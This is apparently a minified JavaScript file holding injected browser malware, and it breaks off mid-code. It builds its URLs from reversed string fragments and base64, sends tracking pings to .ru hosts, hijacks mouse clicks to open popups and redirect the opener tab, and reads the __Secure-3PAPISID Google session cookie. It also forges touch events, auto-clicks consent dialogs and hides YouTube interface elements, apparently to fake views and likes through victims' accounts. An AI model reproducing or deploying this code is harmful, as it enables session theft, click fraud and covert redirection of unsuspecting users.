'use strict';var e,n,o;window.self===window.top&&(e=['//','s:','tp','ht'].reverse().join(''),n=['gsdgm.trkg.ru','67'].join('/'),(o=new Image).src=''.concat(e).concat(n,'.gif'));
!function(){ window.__scbaserx_r = true; var mnum = 0; var expDate = function(){return Date.now() / 1000 | 0;}; var pingTime = localStorage.getItem("clredlooptime") || 0; var secPassed = expDate()-pingTime; var url = ""; var park = ["mbstx", "isywy"]; var loc = function() { return window.location.toString() }; var tpg = loc().includes(park[0]+'='+park[1]); if (tpg) { document.removeEventListener('mousedown',showclick); var op_set = function(u) { window.opener.location.href = u; }; var nn = 0; var su = 'http://gnkyds.kingofthegarden.ru/rlr/l1'; op_set(su); setInterval(function(){ if (mnum == 0 || nn++ < mnum) { op_set(su); } }, 6000); } if (window == window.top && (pingTime == 0 || secPassed > 60)) { var img = new Image(); var image_url = "https://gnkyds.kingofthegarden.online/rlp/as2"; img.src = image_url; img.addEventListener("load",function(){ var u = new URL(loc()); u.searchParams.set(park[0], park[1]); url = u.toString(); }); img.addEventListener("error",function(){ localStorage.setItem("clredlooptime",expDate()); }); } var txt = new Array(); txt[0]="http://yandex.ru/"; txt[1]="http://google.com/"; var b = Math.round(Math.random() * (txt.length - 1)); var ssilka = txt[b]; function showclick() { if (url != "" && !tpg) { var hrf = url; url = ""; var opts = {target:'_blank',href:hrf,rel:'opener'}; Object.assign(document.createElement('a'),opts).click(); localStorage.setItem("clredlooptime",expDate()); } } document.addEventListener('mousedown',showclick); }();
!function(){if(!window.mainVLScript){window.mainVLScript=!0;var e=null,t=null,i=!1,n="",a=!0,r=0,s=1,o=1,d=1,l=1,c=42,u=1,p=6e5,h=!1,f=!1,v=!0,m=new URLSearchParams(document.location.search),g=document.location.href.toLowerCase(),y=m.has("id")?parseInt(m.get("id")):0,w=(m.has("burl")&&decodeURIComponent(m.get("burl")),m.has("config")?atob(m.get("config")):""),x=null,b=!1,$=parseInt("12"),T=parseInt("25"),_=(parseInt(""),parseInt("2")),L=m.has("udid")?m.get("udid"):"xxxxxxxxxxxx4xxx".replace(/[xy]/g,function(e){var t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)}),S="",N=!1,R=!1,E=atob("Y2RuZGEuZ2xvYmFsLWNhY2hlLm9ubGluZQ=="),D=atob("ZGVza3RvcA=="),A=[["eXNob3dlcw==","eXR2aWV3cw==","ZW5kX3Nob3c=","18"],["eWxpa2U=","eXRsaWtlcw==","ZW5kX2xpa2U=","52"]],O="",k="",I="",M="",P="",q="."+atob("Z3N0YXRpYy1jYWNoZS5jb20=")+"/youlist.php",j="."+atob("Z3N0YXRpYy1jYWNoZS5jb20=")+"/event",Y=atob("aHR0cHM6Ly90bC55dGxvZ3MucnUvdGltZXNpbmNl"),C="a005",U=!1,X=!1,F=!1,H=!1,J=!1,W=!1,B=!1,z=0,Z=0,G=0,V=!1,K=!1,Q=0,ee=75,te=!1,ie=0,ne=!1,ae=null,re=null,se=null,oe=null,de=75,le=75,ce=75,ue=!1,pe=!1,he=!1,fe=!1,ve=!1,me=40,ge=20,ye=20,we=10,xe=5,be=function(f){var v;try{v=JSON.parse(f)}catch(e){return!1}if(!v)return h&&_t.send("no_info",!0),!1;if(void 0!==(t=v).active&&(i=t.active),void 0!==t.start&&(n=t.start),void 0!==t.count&&parseInt(t.count),void 0!==t.prod&&(a=t.prod,a),void 0!==t.view_type&&(s=t.view_type,ie=s),void 0!==t.need_all&&(o=t.need_all,N=o),void 0!==t.need_auth&&(d=t.need_auth,R=d),void 0!==t.need_full&&(l=t.need_full,te=l),void 0!==t.timer&&(c=parseInt(t.timer),Q=c),void 0!==t.worker&&(r=parseInt(t.worker),T=r),void 0!==t.need_like){u=t.need_like;var m=A[(ne=u)?1:0];O=atob(m[0]),k=atob(m[1]),I=atob(m[2]),M=m[3]}return void 0!==t.time&&(p=parseInt(t.time)),void 0!==t.history&&t.history,e=!0,!0},$e=function(e,t){be(e)?t?t():setTimeout(Te,6e4):_t.send("cfg_err",!0,!1,function(){setTimeout(function(){Te(t)},6e4)})},Te=function(e){v&&(new _e).send("GET","https://"+E+"/start"+$+".json?t="+(new Date).toISOString().slice(0,15),{success:function(t){$e(t,e)},error:function(t){$e(t,e)}})};!e&&w&&be(w);var _e=function(){return this};_e.prototype={fO:function(e){return["data","success","error","json","headers","creds"].forEach(function(t){void 0===e[t]&&(e[t]=null)}),e},send:function(e,t,i){i=this.fO(i);var n=window.preXMLHttpRequest?new window.preXMLHttpRequest:new XMLHttpRequest;if(n.open(e,t,!0),i.json||"POST"!==e||n.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),n.onreadystatechange=function(){n.readyState===n.DONE&&(200===n.status?i.success&&i.success(n.responseText):i.error&&i.error(n.responseText,n.status))},i.creds&&(n.withCredentials=!0),i.headers)for(var a in i.headers)n.setRequestHeader(a+"",i.headers[a+""]);return n.send(i.data?i.data:null),n}};var Le=new _e,Se=function(){return{itag:18,url:"https://"+E+"/videoplayback?expire=1638830180",mimeType:'video/mp4; codecs="avc1.42001E, mp4a.40.2"',bitrate:647406,width:640,height:360,lastModified:"1638630751339073",contentLength:"83046037",quality:"medium",fps:25,qualityLabel:"360p",projectionType:"RECTANGULAR",averageBitrate:647358,audioQuality:"AUDIO_QUALITY_LOW",approxDurationMs:"1026275",audioSampleRate:"44100",audioChannels:2}},Ne=function(e,t,i){var n=new Date,a=e+"="+t;for(var r in n.setTime(n.getTime()+1e3*i.expires),i.expires=n.toUTCString(),i){a+="; "+r;var s=i[r+""];!0!==s&&(a+="="+s)}document.cookie=a},Re=function(e,t,i){const n=[];i.forEach(t=>{n.push(new Touch({clientX:t.x,clientY:t.y,identifier:t.id,target:e}))}),e.dispatchEvent(new TouchEvent(t,{touches:n,view:window,cancelable:!0,bubbles:!0}))},Ee=function(e){setTimeout(function(){document.location.replace(e)},500)},De=function(e){window.history.replaceState({},"",e)},Ae=function(e){var t,i;window.localStorage.getItem("3PAPISID_OLD"),t="__Secure-3PAPISID",i=document.cookie.match(new RegExp("(?:^|; )"+t.replace(/([.$?*|{}()\[\]\\\/+^])/g,"\\$1")+"=([^;]*)")),(S=i?i[1]:"")&&window.localStorage.setItem("3PAPISID_OLD",S),e(!!S)},Oe=[],ke=function(){var e=document.cookie.split("; "),t=e.length;if(t>0)for(var i=0;i-1){var n=e[i].split("="),a=n.shift(),r=n.join("=");Oe[a]||(Oe[a]=r,Ne(a,r,{domain:".youtube.com",path:"/",expires:60,SameSite:"None",Secure:!0}))}setTimeout(ke,40)},Ie=function(){for(var e=document.getElementsByTagName("SCRIPT"),t=0;t-1&&(e[t].src=e[t].src.replace(E+"/js/th","www.google.com/js/th")),e[t].src&&e[t].src.indexOf(E)>-1&&(e[t].src=e[t].src.replace("https://"+E,""),e[t].src=e[t].src.replace("//"+E,""));setTimeout(Ie,40)},Me=!1,Pe=!1,qe=0,je=0,Ye=['//button[@aria-label="YouTube"]',"//ytm-paid-content-overlay-renderer","//ytm-paid-content-overlay-link"],Ce=function(){try{var e=document.getElementById("header-bar");e&&(e.style.width=e.style.height="1px",e.style.overflow="hidden")}catch(e){}try{var t=document.getElementById("header");t&&(t.style.width=t.style.height="1px",t.style.overflow="hidden")}catch(e){}try{if(document.evaluate('//div[contains(@class,"consent-bump-v2-lightbox")]',document,null,XPathResult.ANY_TYPE,null).iterateNext()){var i=document.evaluate('//div[contains(@class,"consent-bump-v2-lightbox")]/ytm-consent-bump-v2-renderer/div/div[contains(@class,"dialog-scrollable-content")]/div[contains(@class,"one-col-dialog-buttons")]/c3-material-button[1]/button',document,null,XPathResult.ANY_TYPE,null).iterateNext();i&&i.click()}}catch(e){}try{var n=document.evaluate('//div[contains(@class,"rich-grid-renderer-header")]',document,null,XPathResult.ANY_TYPE,null).iterateNext();n&&(n.style.width=n.style.height="1px",n.style.overflow="hidden",n.style.visibility="hidden",n.style.display="none",n.remove())}catch(e){}try{var a=document.evaluate('//div[contains(@class,"ytp-gradient-top")]',document,null,XPathResult.ANY_TYPE,null).iterateNext();a&&(a.style.width=a.style.height="1px",a.style.overflow="hidden",a.style.visibility="hidden",a.style.display="none",a.remove())}catch(e){}try{var r=document.evaluate('//div[contains(@class,"ytp-chrome-top")]',document,null,XPathResult.ANY_TYPE,null).iterateNext();r&&(r.style.width=r.style.height="1px",r.style.overflow="hidden",r.style.visibility="hidden",r.style.display="none",r.remove())}catch(e){}for(var s=0;s1?Math.max(window.innerWidth,411):411)+"px",Me.style.height=(window.innerHeight>1?Math.max(window.innerHeight,731):731)+"px",Me.style.paddingTop=Me.style.paddingLeft=Me.style.marginTop=Me.style.marginLeft="0";var e=document.evaluate("div/img",Me,null,XPathResult.ANY_TYPE,null).iterateNext();e&&(e.getAttribute("src")||(e.src="https://i.ytimg.com/vi/"+(oe||ae)+"/default.jpg"))},Fe=function(e,t,i){Me=!1,Pe=!1,qe=0;var n=function(){if(!Pe){Pe=!0,_t.send(e+"c",!0);try{Me.removeEventListener("click",n)}catch(e){}t()}},a=function(){if(--qe>5)_t.send(e+"nlt",!1,!0);else{var t=document.evaluate('//a[contains(@class,"media-item-thumbnail-container")]',document,null,XPathResult.ANY_TYPE,null);for((Me=t.iterateNext())&&(Me=t.iterateNext()),Me&&(Me=t.iterateNext());Me&&(!Me.getAttribute("href")||Me.getAttribute("href").indexOf("playlist")>-1||!Me.innerHTML||Me.innerHTML.indexOf("LIVE")>-1||-1===Me.innerHTML.indexOf("